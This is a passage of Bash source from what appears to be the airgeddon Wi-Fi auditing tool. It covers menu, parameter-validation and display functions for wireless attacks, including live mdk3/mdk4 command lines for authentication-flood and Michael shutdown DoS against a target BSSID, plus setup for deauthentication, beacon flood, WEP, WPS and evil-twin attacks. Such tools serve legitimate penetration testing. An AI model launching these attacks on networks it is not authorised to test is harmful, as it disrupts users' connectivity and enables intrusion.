	language_strings "${language}" 93 "title"
	language_strings "${language}" 32 "green"

	echo
	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		language_strings "${language}" 506 "yellow"
		language_strings "${language}" 4 "read"

		if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then
			dos_pursuit_mode_pids=()
		fi
		launch_dos_pursuit_mode_attack "auth dos attack" "first_time"
		pid_control_pursuit_mode "auth dos attack"
	else
		iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
		language_strings "${language}" 33 "yellow"
		language_strings "${language}" 4 "read"
		recalculate_windows_sizes
		manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"auth dos attack\"" "${mdk_command} ${interface} a -a ${bssid} -m" "auth dos attack" "active"
		wait_for_process "${mdk_command} ${interface} a -a ${bssid} -m" "auth dos attack"
	fi
}

#Execute Michael Shutdown DoS attack
function exec_michaelshutdown() {

	debug_print

	echo
	language_strings "${language}" 94 "title"
	language_strings "${language}" 32 "green"

	echo
	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		language_strings "${language}" 506 "yellow"
		language_strings "${language}" 4 "read"

		if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then
			dos_pursuit_mode_pids=()
		fi
		launch_dos_pursuit_mode_attack "michael shutdown attack" "first_time"
		pid_control_pursuit_mode "michael shutdown attack"
	else
		iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
		language_strings "${language}" 33 "yellow"
		language_strings "${language}" 4 "read"
		recalculate_windows_sizes
		manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"michael shutdown attack\"" "${mdk_command} ${interface} m -t ${bssid} -w 1 -n 1024 -s 1024" "michael shutdown attack" "active"
		wait_for_process "${mdk_command} ${interface} m -t ${bssid} -w 1 -n 1024 -s 1024" "michael shutdown attack"
	fi
}

#Validate mdk parameters
function mdk_deauth_option() {

	debug_print

	echo
	language_strings "${language}" 95 "title"
	language_strings "${language}" 35 "green"

	if ! check_monitor_enabled "${interface}"; then
		echo
		language_strings "${language}" 14 "red"
		language_strings "${language}" 115 "read"
		return
	fi

	echo
	language_strings "${language}" 34 "yellow"

	if ! ask_bssid; then
		return
	fi

	if ! ask_channel; then
		return
	fi

	if ! check_target_band_supported_by_interface "main_wifi_interface"; then
		return
	fi

	if ! check_6ghz_thirdparty_tools_compatibility; then
		return
	fi

	ask_yesno 505 "no"
	if [ "${yesno}" = "y" ]; then
		dos_pursuit_mode=1

		if select_secondary_interface "dos_pursuit_mode"; then

			if [[ "${dos_pursuit_mode}" -eq 1 && ( ("${target_band_id}" = "${band_6ghz}" && "${interfaces_band_info['secondary_wifi_interface','6Ghz_allowed']}" -eq 0) || ("${target_band_id}" = "${band_5ghz}" && "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0) ) ]]; then
				echo
				language_strings "${language}" 394 "red"
				language_strings "${language}" 115 "read"

				return 1
			fi

			if ! check_monitor_enabled "${secondary_wifi_interface}"; then
				echo
				language_strings "${language}" 14 "yellow"
				echo
				language_strings "${language}" 513 "blue"
				language_strings "${language}" 115 "read"
				echo
				if ! monitor_option "${secondary_wifi_interface}"; then
					return 1
				else
					echo
					language_strings "${language}" 34 "yellow"
					language_strings "${language}" 115 "read"
				fi
			else
				echo
				language_strings "${language}" 34 "yellow"
				language_strings "${language}" 115 "read"
			fi
		else
			return 1
		fi
	fi

	exec_mdkdeauth
}

#Switch mdk version
function mdk_version_toggle() {

	debug_print

	if [ "${AIRGEDDON_MDK_VERSION}" = "mdk3" ]; then
		sed -ri "s:(AIRGEDDON_MDK_VERSION)=(mdk3):\1=mdk4:" "${rc_path}" 2> /dev/null
		AIRGEDDON_MDK_VERSION="mdk4"
	else
		sed -ri "s:(AIRGEDDON_MDK_VERSION)=(mdk4):\1=mdk3:" "${rc_path}" 2> /dev/null
		AIRGEDDON_MDK_VERSION="mdk3"
	fi

	set_mdk_version
}

#Set mdk to selected version validating its existence
function set_mdk_version() {

	debug_print

	if [ "${AIRGEDDON_MDK_VERSION}" = "mdk3" ]; then
		if ! hash mdk3 2> /dev/null; then
			echo
			language_strings "${language}" 636 "red"
			exit_code=1
			exit_script_option
		else
			mdk_command="mdk3"
		fi
	else
		mdk_command="mdk4"
	fi
}

#Validate Aireplay parameters
function aireplay_deauth_option() {

	debug_print

	echo
	language_strings "${language}" 96 "title"
	language_strings "${language}" 36 "green"

	if ! check_monitor_enabled "${interface}"; then
		echo
		language_strings "${language}" 14 "red"
		language_strings "${language}" 115 "read"
		return
	fi

	echo
	language_strings "${language}" 34 "yellow"

	if ! ask_bssid; then
		return
	fi

	if ! ask_channel; then
		return
	fi

	if ! check_target_band_supported_by_interface "main_wifi_interface"; then
		return
	fi

	if ! check_6ghz_thirdparty_tools_compatibility; then
		return
	fi

	ask_yesno 505 "no"
	if [ "${yesno}" = "y" ]; then
		dos_pursuit_mode=1

		if select_secondary_interface "dos_pursuit_mode"; then

			if [[ "${dos_pursuit_mode}" -eq 1 && ( ("${target_band_id}" = "${band_6ghz}" && "${interfaces_band_info['secondary_wifi_interface','6Ghz_allowed']}" -eq 0) || ("${target_band_id}" = "${band_5ghz}" && "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0) ) ]]; then
				echo
				language_strings "${language}" 394 "red"
				language_strings "${language}" 115 "read"

				return 1
			fi

			if ! check_monitor_enabled "${secondary_wifi_interface}"; then
				echo
				language_strings "${language}" 14 "yellow"
				echo
				language_strings "${language}" 513 "blue"
				language_strings "${language}" 115 "read"
				echo
				if ! monitor_option "${secondary_wifi_interface}"; then
					return 1
				else
					echo
					language_strings "${language}" 34 "yellow"
					language_strings "${language}" 115 "read"
				fi
			else
				echo
				language_strings "${language}" 34 "yellow"
				language_strings "${language}" 115 "read"
			fi
		else
			return 1
		fi
	fi

	exec_aireplaydeauth
}

#Validate WDS confusion parameters
function wds_confusion_option() {

	debug_print

	echo
	language_strings "${language}" 97 "title"
	language_strings "${language}" 37 "green"

	if ! check_monitor_enabled "${interface}"; then
		echo
		language_strings "${language}" 14 "red"
		language_strings "${language}" 115 "read"
		return
	fi

	echo
	language_strings "${language}" 34 "yellow"

	if ! ask_essid "verify"; then
		return
	fi

	if ! ask_channel; then
		return
	fi

	if ! check_target_band_supported_by_interface "main_wifi_interface"; then
		return
	fi

	if ! check_6ghz_thirdparty_tools_compatibility; then
		return
	fi

	ask_yesno 505 "no"
	if [ "${yesno}" = "y" ]; then
		dos_pursuit_mode=1
		echo
		language_strings "${language}" 508 "yellow"
		language_strings "${language}" 115 "read"

		if select_secondary_interface "dos_pursuit_mode"; then

			if [[ "${dos_pursuit_mode}" -eq 1 && ( ("${target_band_id}" = "${band_6ghz}" && "${interfaces_band_info['secondary_wifi_interface','6Ghz_allowed']}" -eq 0) || ("${target_band_id}" = "${band_5ghz}" && "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0) ) ]]; then
				echo
				language_strings "${language}" 394 "red"
				language_strings "${language}" 115 "read"

				return 1
			fi

			if ! check_monitor_enabled "${secondary_wifi_interface}"; then
				echo
				language_strings "${language}" 14 "yellow"
				echo
				language_strings "${language}" 513 "blue"
				language_strings "${language}" 115 "read"
				echo
				if ! monitor_option "${secondary_wifi_interface}"; then
					return 1
				else
					echo
					language_strings "${language}" 34 "yellow"
					language_strings "${language}" 115 "read"
				fi
			else
				echo
				language_strings "${language}" 34 "yellow"
				language_strings "${language}" 115 "read"
			fi
		else
			return 1
		fi
	fi

	exec_wdsconfusion
}

#Validate Beacon flood parameters
function beacon_flood_option() {

	debug_print

	echo
	language_strings "${language}" 98 "title"
	language_strings "${language}" 38 "green"

	if ! check_monitor_enabled "${interface}"; then
		echo
		language_strings "${language}" 14 "red"
		language_strings "${language}" 115 "read"
		return
	fi

	echo
	language_strings "${language}" 34 "yellow"

	if ! ask_essid "verify"; then
		return
	fi

	if ! ask_channel; then
		return
	fi

	if ! check_target_band_supported_by_interface "main_wifi_interface"; then
		return
	fi

	if ! check_6ghz_thirdparty_tools_compatibility; then
		return
	fi

	ask_yesno 505 "no"
	if [ "${yesno}" = "y" ]; then
		dos_pursuit_mode=1

		if select_secondary_interface "dos_pursuit_mode"; then

			if [[ "${dos_pursuit_mode}" -eq 1 && ( ("${target_band_id}" = "${band_6ghz}" && "${interfaces_band_info['secondary_wifi_interface','6Ghz_allowed']}" -eq 0) || ("${target_band_id}" = "${band_5ghz}" && "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0) ) ]]; then
				echo
				language_strings "${language}" 394 "red"
				language_strings "${language}" 115 "read"

				return 1
			fi

			if ! check_monitor_enabled "${secondary_wifi_interface}"; then
				echo
				language_strings "${language}" 14 "yellow"
				echo
				language_strings "${language}" 513 "blue"
				language_strings "${language}" 115 "read"
				echo
				if ! monitor_option "${secondary_wifi_interface}"; then
					return 1
				else
					echo
					language_strings "${language}" 34 "yellow"
					language_strings "${language}" 115 "read"
				fi
			else
				echo
				language_strings "${language}" 34 "yellow"
				language_strings "${language}" 115 "read"
			fi
		else
			return 1
		fi
	fi

	exec_beaconflood
}

#Validate Auth DoS parameters
function auth_dos_option() {

	debug_print

	echo
	language_strings "${language}" 99 "title"
	language_strings "${language}" 39 "green"

	if ! check_monitor_enabled "${interface}"; then
		echo
		language_strings "${language}" 14 "red"
		language_strings "${language}" 115 "read"
		return
	fi

	echo
	language_strings "${language}" 34 "yellow"

	if ! ask_bssid; then
		return
	fi

	if ! check_6ghz_thirdparty_tools_compatibility; then
		return
	fi

	ask_yesno 505 "no"
	if [ "${yesno}" = "y" ]; then
		dos_pursuit_mode=1
		echo
		language_strings "${language}" 508 "yellow"
		language_strings "${language}" 115 "read"

		if select_secondary_interface "dos_pursuit_mode"; then

			if [[ "${dos_pursuit_mode}" -eq 1 && ( ("${target_band_id}" = "${band_6ghz}" && "${interfaces_band_info['secondary_wifi_interface','6Ghz_allowed']}" -eq 0) || ("${target_band_id}" = "${band_5ghz}" && "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0) ) ]]; then
				echo
				language_strings "${language}" 394 "red"
				language_strings "${language}" 115 "read"

				return 1
			fi

			if ! check_monitor_enabled "${secondary_wifi_interface}"; then
				echo
				language_strings "${language}" 14 "yellow"
				echo
				language_strings "${language}" 513 "blue"
				language_strings "${language}" 115 "read"
				echo
				if ! monitor_option "${secondary_wifi_interface}"; then
					return 1
				else
					echo
					language_strings "${language}" 34 "yellow"
					language_strings "${language}" 115 "read"
				fi
			else
				echo
				language_strings "${language}" 34 "yellow"
				language_strings "${language}" 115 "read"
			fi
		else
			return 1
		fi
	fi

	exec_authdos
}

#Validate Michael Shutdown parameters
function michael_shutdown_option() {

	debug_print

	echo
	language_strings "${language}" 100 "title"
	language_strings "${language}" 40 "green"

	if ! check_monitor_enabled "${interface}"; then
		echo
		language_strings "${language}" 14 "red"
		language_strings "${language}" 115 "read"
		return
	fi

	echo
	language_strings "${language}" 34 "yellow"

	if ! ask_bssid; then
		return
	fi

	if ! check_6ghz_thirdparty_tools_compatibility; then
		return
	fi

	ask_yesno 505 "no"
	if [ "${yesno}" = "y" ]; then
		dos_pursuit_mode=1

		if select_secondary_interface "dos_pursuit_mode"; then

			if [[ "${dos_pursuit_mode}" -eq 1 ]]; then
				if [ "${target_band_id}" = "${band_6ghz}" ] && [ "${interfaces_band_info['secondary_wifi_interface','6Ghz_allowed']}" -eq 0 ]; then
					echo
					language_strings "${language}" 394 "red"
					language_strings "${language}" 115 "read"

					return 1
				elif [ "${target_band_id}" = "${band_5ghz}" ] && [ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then
					echo
					language_strings "${language}" 394 "red"
					language_strings "${language}" 115 "read"

					return 1
				fi
			fi

			if ! check_monitor_enabled "${secondary_wifi_interface}"; then
				echo
				language_strings "${language}" 14 "yellow"
				echo
				language_strings "${language}" 513 "blue"
				language_strings "${language}" 115 "read"
				echo
				if ! monitor_option "${secondary_wifi_interface}"; then
					return 1
				else
					echo
					language_strings "${language}" 34 "yellow"
					language_strings "${language}" 115 "read"
				fi
			else
				echo
				language_strings "${language}" 34 "yellow"
				language_strings "${language}" 115 "read"
			fi
		else
			return 1
		fi
	fi

	exec_michaelshutdown
}

#Validate wep all-in-one and besside-ng attacks parameters
function wep_attack_option() {

	debug_print

	if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then
		echo
		language_strings "${language}" 125 "yellow"
		language_strings "${language}" 115 "read"
		if ! explore_for_targets_option "WEP"; then
			return 1
		fi
	fi

	if ! check_monitor_enabled "${interface}"; then
		echo
		language_strings "${language}" 14 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	if ! validate_network_encryption_type "WEP"; then
		return 1
	fi

	if ! validate_network_type "personal"; then
		return 1
	fi

	if ! check_6ghz_thirdparty_tools_compatibility; then
		return 1
	fi

	echo
	language_strings "${language}" 425 "yellow"
	language_strings "${language}" 115 "read"

	manage_wep_log
	language_strings "${language}" 115 "read"

	if [ "${1}" = "allinone" ]; then
		exec_wep_allinone_attack
	else
		exec_wep_besside_attack
	fi
}

#Validate wps parameters for custom pin, pixie dust, bruteforce, pin database and null pin attacks
function wps_attacks_parameters() {

	debug_print

	if [ "${1}" != "no_monitor_check" ]; then
		if ! check_monitor_enabled "${interface}"; then
			echo
			language_strings "${language}" 14 "red"
			language_strings "${language}" 115 "read"
			return 1
		fi

		echo
		language_strings "${language}" 34 "yellow"
	fi

	if ! ask_bssid "wps"; then
		return 1
	fi

	if ! ask_channel "wps"; then
		return 1
	fi

	if ! check_6ghz_wps_thirdparty_tools_compatibility; then
		return 1
	fi

	if [ "${1}" != "no_monitor_check" ]; then
		if ! validate_network_type "personal"; then
			return 1
		fi
	fi

	if [ "${1}" != "no_monitor_check" ]; then
		case ${wps_attack} in
			"custompin_bully"|"custompin_reaver")
				ask_custom_pin
				ask_timeout "wps_standard"
			;;
			"pixiedust_bully"|"pixiedust_reaver")
				ask_timeout "wps_pixiedust"
			;;
			"pindb_bully"|"pindb_reaver")
				ask_timeout "wps_standard"
			;;
			"nullpin_reaver")
				ask_timeout "wps_standard"
			;;
		esac
	fi

	return 0
}

#Print selected options
function print_options() {

	debug_print

	if "${AIRGEDDON_AUTO_UPDATE:-true}"; then
		language_strings "${language}" 451 "blue"
	else
		language_strings "${language}" 452 "blue"
	fi

	if "${AIRGEDDON_SKIP_INTRO:-true}"; then
		language_strings "${language}" 567 "blue"
	else
		language_strings "${language}" 568 "blue"
	fi

	if "${AIRGEDDON_BASIC_COLORS:-true}"; then
		language_strings "${language}" 563 "blue"
	else
		language_strings "${language}" 564 "blue"
	fi

	if "${AIRGEDDON_EXTENDED_COLORS:-true}"; then
		language_strings "${language}" 453 "blue"
	else
		language_strings "${language}" 454 "blue"
	fi

	if "${AIRGEDDON_AUTO_CHANGE_LANGUAGE:-true}"; then
		language_strings "${language}" 474 "blue"
	else
		language_strings "${language}" 475 "blue"
	fi

	if "${AIRGEDDON_SILENT_CHECKS:-true}"; then
		language_strings "${language}" 575 "blue"
	else
		language_strings "${language}" 576 "blue"
	fi

	if "${AIRGEDDON_PRINT_HINTS:-true}"; then
		language_strings "${language}" 582 "blue"
	else
		language_strings "${language}" 583 "blue"
	fi

	if "${AIRGEDDON_5GHZ_ENABLED:-true}"; then
		language_strings "${language}" 594 "blue"
	else
		language_strings "${language}" 595 "blue"
	fi

	if "${AIRGEDDON_6GHZ_ENABLED:-true}"; then
		language_strings "${language}" 819 "blue"
	else
		language_strings "${language}" 820 "blue"
	fi

	reboot_required_text=""
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		if grep -q "AIRGEDDON_WINDOWS_HANDLING=tmux" "${rc_path}" 2> /dev/null; then
			reboot_required_text="${reboot_required[${language}]}"
		fi
		language_strings "${language}" 618 "blue"
	else
		if grep -q "AIRGEDDON_WINDOWS_HANDLING=xterm" "${rc_path}" 2> /dev/null; then
			reboot_required_text="${reboot_required[${language}]}"
		fi
		language_strings "${language}" 619 "blue"
	fi

	language_strings "${language}" 641 "blue"

	reboot_required_text=""
	if "${AIRGEDDON_PLUGINS_ENABLED:-true}"; then
		if grep -q "AIRGEDDON_PLUGINS_ENABLED=false" "${rc_path}" 2> /dev/null; then
			reboot_required_text="${reboot_required[${language}]}"
		fi
		language_strings "${language}" 653 "blue"
	else
		if grep -q "AIRGEDDON_PLUGINS_ENABLED=true" "${rc_path}" 2> /dev/null; then
			reboot_required_text="${reboot_required[${language}]}"
		fi
		language_strings "${language}" 654 "blue"
	fi

	if "${AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING:-true}"; then
		language_strings "${language}" 690 "blue"
	else
		language_strings "${language}" 691 "blue"
	fi

	if "${AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING:-true}"; then
		language_strings "${language}" 771 "blue"
	else
		language_strings "${language}" 772 "blue"
	fi

	if "${AIRGEDDON_EVIL_TWIN_SOUNDS:-true}"; then
		language_strings "${language}" 810 "blue"
	else
		language_strings "${language}" 811 "blue"
	fi
}

#Print selected interface
function print_iface_selected() {

	debug_print

	if [ -z "${interface}" ]; then
		language_strings "${language}" 41 "red"
		echo
		language_strings "${language}" 115 "read"
		select_interface
	else
		check_interface_mode "${interface}"
		if [ "${ifacemode}" = "(Non wifi adapter)" ]; then
			language_strings "${language}" 42 "blue"
		else
			language_strings "${language}" 514 "blue"
		fi
	fi
}

#Print selected internet interface
function print_iface_internet_selected() {

	debug_print

	if [ "${et_mode}" != "et_captive_portal" ]; then
		if [ -z "${internet_interface}" ]; then
			language_strings "${language}" 283 "blue"
		else
			language_strings "${language}" 282 "blue"
		fi
	fi
}

#Print selected target parameters (bssid, channel, essid and type of encryption) for dos attacks menu
function print_all_target_dos_attacks_menu_vars() {

	debug_print

	if [ -n "${bssid}" ]; then
		language_strings "${language}" 43 "blue"
		if [ -n "${channel}" ]; then
			language_strings "${language}" 44 "blue"
			if [ -n "${target_band_id}" ]; then
				language_strings "${language}" 832 "blue"
			else
				language_strings "${language}" 836 "blue"
			fi
		fi
		if [ -n "${essid}" ]; then
			if [ "${essid}" = "(Hidden Network)" ]; then
				language_strings "${language}" 45 "blue"
			else
				language_strings "${language}" 46 "blue"
			fi
		fi
		if [ -n "${enc}" ]; then
			language_strings "${language}" 135 "blue"
		fi
	else
		if [ -n "${channel}" ]; then
			language_strings "${language}" 44 "blue"
			if [ -n "${target_band_id}" ]; then
				language_strings "${language}" 832 "blue"
			else
				language_strings "${language}" 836 "blue"
			fi
		fi
		if [ -n "${essid}" ]; then
			if [ "${essid}" = "(Hidden Network)" ]; then
				language_strings "${language}" 45 "blue"
			else
				language_strings "${language}" 46 "blue"
			fi
		fi
		if [ -n "${enc}" ]; then
			language_strings "${language}" 135 "blue"
		fi
	fi
}

#Print selected target parameters (bssid, channel, essid and type of encryption)
function print_all_target_vars() {

	debug_print

	if [ -n "${bssid}" ]; then
		language_strings "${language}" 43 "blue"
		if [ -n "${channel}" ]; then
			language_strings "${language}" 44 "blue"
			if [ -n "${target_band_id}" ]; then
				language_strings "${language}" 832 "blue"
			else
				language_strings "${language}" 836 "blue"
			fi
		fi
		if [ -n "${essid}" ]; then
			if [ "${essid}" = "(Hidden Network)" ]; then
				language_strings "${language}" 45 "blue"
			else
				language_strings "${language}" 46 "blue"
			fi
		fi
		if [ -n "${enc}" ]; then
			language_strings "${language}" 135 "blue"
		fi
	fi
}

#Print selected target parameters on evil twin menu (bssid, channel and essid)
function print_all_target_vars_et() {

	debug_print

	if [ -n "${bssid}" ]; then
		language_strings "${language}" 43 "blue"
	else
		language_strings "${language}" 271 "blue"
	fi

	if [ -n "${channel}" ]; then
		language_strings "${language}" 44 "blue"
		if [ -n "${target_band_id}" ]; then
			language_strings "${language}" 832 "blue"
		else
			language_strings "${language}" 836 "blue"
		fi
	else
		language_strings "${language}" 273 "blue"
		language_strings "${language}" 836 "blue"
	fi

	if [ -n "${essid}" ]; then
		if [ "${essid}" = "(Hidden Network)" ]; then
			language_strings "${language}" 45 "blue"
		else
			language_strings "${language}" 46 "blue"
		fi
	else
		language_strings "${language}" 274 "blue"
	fi
}

#Print selected target parameters on evil twin submenus (bssid, channel, essid, DoS type and Handshake file)
function print_et_target_vars() {

	debug_print

	if [ -n "${bssid}" ]; then
		language_strings "${language}" 43 "blue"
	else
		language_strings "${language}" 271 "blue"
	fi

	if [ -n "${channel}" ]; then
		language_strings "${language}" 44 "blue"
		if [ -n "${target_band_id}" ]; then
			language_strings "${language}" 832 "blue"
		else
			language_strings "${language}" 836 "blue"
		fi
	else
		language_strings "${language}" 273 "blue"
		language_strings "${language}" 836 "blue"
	fi

	if [ -n "${essid}" ]; then
		if [ "${essid}" = "(Hidden Network)" ]; then
			language_strings "${language}" 45 "blue"
		else
			language_strings "${language}" 46 "blue"
		fi
	else
		language_strings "${language}" 274 "blue"
	fi

	if [ "${current_menu}" != "et_dos_menu" ]; then
		if [ -n "${et_dos_attack}" ]; then
			language_strings "${language}" 272 "blue"
		else
			language_strings "${language}" 278 "blue"
		fi
	fi

	if [ "${et_mode}" = "et_captive_portal" ]; then
		if [ -n "${et_handshake}" ]; then
			language_strings "${language}" 311 "blue"
		else
			if [ -n "${enteredpath}" ]; then
				language_strings "${language}" 314 "blue"
			else
				language_strings "${language}" 310 "blue"
			fi
		fi
	fi
}

#Print selected target parameters on wps attacks menu (bssid, channel and essid)
function print_all_target_vars_wps() {

	debug_print

	if [ -n "${wps_bssid}" ]; then
		language_strings "${language}" 335 "blue"
	else
		language_strings "${language}" 339 "blue"
	fi

	if [ -n "${wps_channel}" ]; then
		language_strings "${language}" 336 "blue"
		if [ -n "${wps_target_band_id}" ]; then
			language_strings "${language}" 833 "blue"
		else
			language_strings "${language}" 837 "blue"
		fi
	else
		language_strings "${language}" 340 "blue"
		language_strings "${language}" 837 "blue"
	fi

	if [ -n "${wps_essid}" ]; then
		if [ "${wps_essid}" = "(Hidden Network)" ]; then
			language_strings "${language}" 337 "blue"
		else
			language_strings "${language}" 338 "blue"
		fi
	else
		language_strings "${language}" 341 "blue"
	fi

	if [ -n "${wps_locked}" ]; then
		language_strings "${language}" 351 "blue"
	else
		language_strings "${language}" 352 "blue"
	fi
}

#Print selected target parameters on decrypt menu (bssid, Handshake file, dictionary file, rules file and enterprise stuff)
function print_decrypt_vars() {

	debug_print

	if [ -n "${jtrenterpriseenteredpath}" ]; then
		language_strings "${language}" 605 "blue"
	else
		language_strings "${language}" 606 "blue"
	fi

	if [ -n "${hashcatenterpriseenteredpath}" ]; then
		language_strings "${language}" 603 "blue"
	else
		language_strings "${language}" 604 "blue"
	fi

	if [ -n "${bssid}" ]; then
		language_strings "${language}" 43 "blue"
	else
		language_strings "${language}" 185 "blue"
	fi

	if [ -n "${enteredpath}" ]; then
		language_strings "${language}" 173 "blue"
	else
		language_strings "${language}" 177 "blue"
	fi

	if [ -n "${DICTIONARY}" ]; then
		language_strings "${language}" 182 "blue"
	fi

	if [ -n "${RULES}" ]; then
		language_strings "${language}" 243 "blue"
	fi

	if [ -n "${hashcathashfileenteredpath}" ]; then
		language_strings "${language}" 794 "blue"
	else
		language_strings "${language}" 793 "blue"
	fi
}

#Print selected target parameters on personal decrypt menu (bssid, Handshake file, dictionary file and rules file)
function print_personal_decrypt_vars() {

	debug_print

	if [ -n "${bssid}" ]; then
		language_strings "${language}" 43 "blue"
	else
		language_strings "${language}" 185 "blue"
	fi

	if [ -n "${enteredpath}" ]; then
		language_strings "${language}" 173 "blue"
	else
		language_strings "${language}" 177 "blue"
	fi

	if [ -n "${DICTIONARY}" ]; then
		language_strings "${language}" 182 "blue"
	fi

	if [ -n "${RULES}" ]; then
		language_strings "${language}" 243 "blue"
	fi

	if [ -n "${hashcathashfileenteredpath}" ]; then
		language_strings "${language}" 794 "blue"
	else
		language_strings "${language}" 793 "blue"
	fi
}

#Print selected target parameters on enterprise decrypt menu (dictionary file, rules file and hashes files)
function print_enterprise_decrypt_vars() {

	debug_print

	if [ -n "${jtrenterpriseenteredpath}" ]; then
		language_strings "${language}" 605 "blue"
	else
		language_strings "${language}" 606 "blue"
	fi

	if [ -n "${hashcatenterpriseenteredpath}" ]; then
		language_strings "${language}" 603 "blue"
	else
		language_strings "${language}" 604 "blue"
	fi

	if [ -n "${DICTIONARY}" ]; then
		language_strings "${language}" 182 "blue"
	fi

	if [ -n "${RULES}" ]; then
		language_strings "${language}" 243 "blue"
	fi
}

#Set the correct text to show if a selected network is enterprise or personal
function set_personal_enterprise_text() {

	debug_print

	if [ "${enterprise_network_selected}" -eq 1 ]; then
		selected_network_type_text="enterprise"
		unselected_network_type_text="personal"
	elif [ "${personal_network_selected}" -eq 1 ]; then
		selected_network_type_text="personal"
		unselected_network_type_text="enterprise"
	else
		selected_network_type_text=""
		unselected_network_type_text=""
	fi
}

#Create the dependencies arrays
function initialize_menu_options_dependencies() {

	debug_print

	clean_handshake_dependencies=("${optional_tools_names[0]}")
	aircrack_crunch_attacks_dependencies=("${optional_tools_names[1]}")
	aireplay_attack_dependencies=("${optional_tools_names[2]}")
	mdk_attack_dependencies=("${optional_tools_names[3]}")
	hashcat_attacks_dependencies=("${optional_tools_names[4]}")
	hashcat_hash_attacks_dependencies=("${optional_tools_names[4]}" "${optional_tools_names[30]}")
	et_onlyap_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}")
	et_sniffing_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[8]}" "${optional_tools_names[9]}")
	et_sniffing_sslstrip2_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[16]}")
	et_captive_portal_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[10]}" "${optional_tools_names[11]}")
	wash_scan_dependencies=("${optional_tools_names[12]}")
	reaver_attacks_dependencies=("${optional_tools_names[13]}")
	bully_attacks_dependencies=("${optional_tools_names[14]}")
	bully_pixie_dust_attack_dependencies=("${optional_tools_names[14]}" "${optional_tools_names[15]}")
	reaver_pixie_dust_attack_dependencies=("${optional_tools_names[13]}" "${optional_tools_names[15]}")
	et_sniffing_sslstrip2_beef_dependencies=("${optional_tools_names[5]}" "${optional_tools_names[6]}" "${optional_tools_names[7]}" "${optional_tools_names[16]}" "${optional_tools_names[17]}")
	wep_attack_allinone_dependencies=("${optional_tools_names[2]}" "${optional_tools_names[18]}")
	wep_attack_besside_dependencies=("${optional_tools_names[27]}")
	enterprise_attack_dependencies=("${optional_tools_names[19]}" "${optional_tools_names[20]}" "${optional_tools_names[22]}")
	enterprise_identities_dependencies=("${optional_tools_names[25]}")
	enterprise_certificates_analysis_dependencies=("${optional_tools_names[22]}" "${optional_tools_names[25]}")
	asleap_attacks_dependencies=("${optional_tools_names[20]}")
	john_attacks_dependencies=("${optional_tools_names[21]}")
	johncrunch_attacks_dependencies=("${optional_tools_names[21]}" "${optional_tools_names[1]}")
	enterprise_certificates_dependencies=("${optional_tools_names[22]}")
	pmkid_dependencies=("${optional_tools_names[23]}" "${optional_tools_names[24]}")
	wpa3_downgrade_attack_dependencies=("${optional_tools_names[23]}" "${optional_tools_names[28]}" "${optional_tools_names[29]}" "${optional_tools_names[25]}")
}

#Set possible changes for some commands that can be found in different ways depending on the O.S.
#shellcheck disable=SC2206
function set_possible_aliases() {

	debug_print

	for item in "${!possible_alias_names[@]}"; do
		if ! hash "${item}" 2> /dev/null || [[ "${item}" = "beef" ]]; then
			arraliases=(${possible_alias_names[${item//[[:space:]]/ }]})
			for item2 in "${arraliases[@]}"; do
				if hash "${item2}" 2> /dev/null; then
					optional_tools_names=(${optional_tools_names[@]/${item}/"${item2}"})
					break
				fi
			done
		fi
	done
}

#Modify dependencies arrays depending on selected options
function dependencies_modifications() {

	debug_print

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		essential_tools_names=("${essential_tools_names[@]/xterm/tmux}")
		possible_package_names[${essential_tools_names[5]}]="tmux"
		unset 'possible_package_names[xterm]'
	fi

	if [ "${AIRGEDDON_MDK_VERSION}" = "mdk3" ]; then
		optional_tools_names=("${optional_tools_names[@]/mdk4/mdk3}")
		possible_package_names[${optional_tools_names[3]}]="mdk3"
		unset 'possible_package_names[mdk4]'
	fi

	if [ "${iptables_nftables}" -eq 0 ]; then
		optional_tools_names=("${optional_tools_names[@]/nft/iptables}")
		possible_package_names[${optional_tools_names[7]}]="iptables"
		unset 'possible_package_names[nft]'
	fi
}

#Initialize optional_tools values
function initialize_optional_tools_values() {

	debug_print

	declare -gA optional_tools

	for item in "${optional_tools_names[@]}"; do
		optional_tools[${item}]=0
	done
}

#Set some vars depending on the menu and invoke the printing of target vars
function initialize_menu_and_print_selections() {

	debug_print

	forbidden_options=()

	case ${current_menu} in
		"main_menu")
			print_iface_selected
		;;
		"decrypt_menu")
			print_decrypt_vars
		;;
		"personal_decrypt_menu")
			print_personal_decrypt_vars
		;;
		"enterprise_decrypt_menu")
			print_enterprise_decrypt_vars
			enterprise_asleap_challenge=""
			enterprise_asleap_response=""
		;;
		"handshake_pmkid_decloaking_tools_menu")
			print_iface_selected
			print_all_target_vars
			return_to_handshake_pmkid_decloaking_tools_menu=0
		;;
		"dos_attacks_menu")
			enterprise_mode=""
			et_mode=""
			dos_pursuit_mode=0
			print_iface_selected
			print_all_target_dos_attacks_menu_vars
		;;
		"dos_handshake_decloak_menu")
			print_iface_selected
